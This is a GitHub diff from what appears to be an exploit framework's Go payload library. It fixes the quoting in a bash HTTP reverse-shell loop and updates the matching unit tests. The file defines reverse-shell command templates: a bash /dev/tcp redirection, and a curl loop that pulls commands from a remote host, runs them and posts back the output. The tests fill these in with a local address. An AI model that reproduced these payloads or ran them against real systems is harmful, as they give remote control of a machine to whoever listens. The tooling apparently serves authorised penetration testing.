File tree Expand file tree Collapse file tree 2 files changed +3
-3
lines changed Expand file tree Collapse file tree 2 files changed +3
-3
lines changed Original file line number Diff line number Diff line change 7
7
const (
8
8
BashDefault = BashTCPRedirection
9
9
BashTCPRedirection = `bash -c 'bash &> /dev/tcp/%s/%d <&1'`
10
- BashHTTPShellLoop = `bash -c 'while :; do curl -d "$(bash -c "$(curl %s-H' VC-Auth: %s' %s://%s:%d || exit)")" %s-H' VC-Auth: %s' %s://%s:%d/rx ||exit;sleep 1;done'`
10
+ BashHTTPShellLoop = `bash -c 'while :; do curl -d "$(bash -c "$(curl %s-H" VC-Auth: %s" %s://%s:%d || exit)")" %s-H" VC-Auth: %s" %s://%s:%d/rx ||exit;sleep 1;done'`
11
11
)
12
12
13
13
// The default payload type for reverse bash utilizes the pseudo-dev networking redirects in default bash.
Original file line number Diff line number Diff line change @@ -27,13 +27,13 @@ func TestBashDefault(t *testing.T) {
27
27
func TestBashHTTPShellLoop (t * testing.T ) {
28
28
payload := reverse .Bash .HTTPShellLoop ("127.0.0.1" , 4444 , true , "vulncheck" )
29
29
30
- if payload != `bash -c 'while :; do curl -d "$(bash -c "$(curl -k -H' VC-Auth: vulncheck' https://127.0.0.1:4444 || exit)")" -k -H' VC-Auth: vulncheck' https://127.0.0.1:4444/rx ||exit;sleep 1;done'` {
30
+ if payload != `bash -c 'while :; do curl -d "$(bash -c "$(curl -k -H" VC-Auth: vulncheck" https://127.0.0.1:4444 || exit)")" -k -H" VC-Auth: vulncheck" https://127.0.0.1:4444/rx ||exit;sleep 1;done'` {
31
31
t .Fatal (payload )
32
32
}
33
33
34
34
payload = reverse .Bash .HTTPShellLoop ("127.0.0.1" , 4444 , false , "vulncheck" )
35
35
36
- if payload != `bash -c 'while :; do curl -d "$(bash -c "$(curl -H' VC-Auth: vulncheck' http://127.0.0.1:4444 || exit)")" -H' VC-Auth: vulncheck' http://127.0.0.1:4444/rx ||exit;sleep 1;done'` {
36
+ if payload != `bash -c 'while :; do curl -d "$(bash -c "$(curl -H" VC-Auth: vulncheck" http://127.0.0.1:4444 || exit)")" -H" VC-Auth: vulncheck" http://127.0.0.1:4444/rx ||exit;sleep 1;done'` {
37
37
t .Fatal (payload )
38
38
}
39
39
You can’t perform that action at this time.
0 commit comments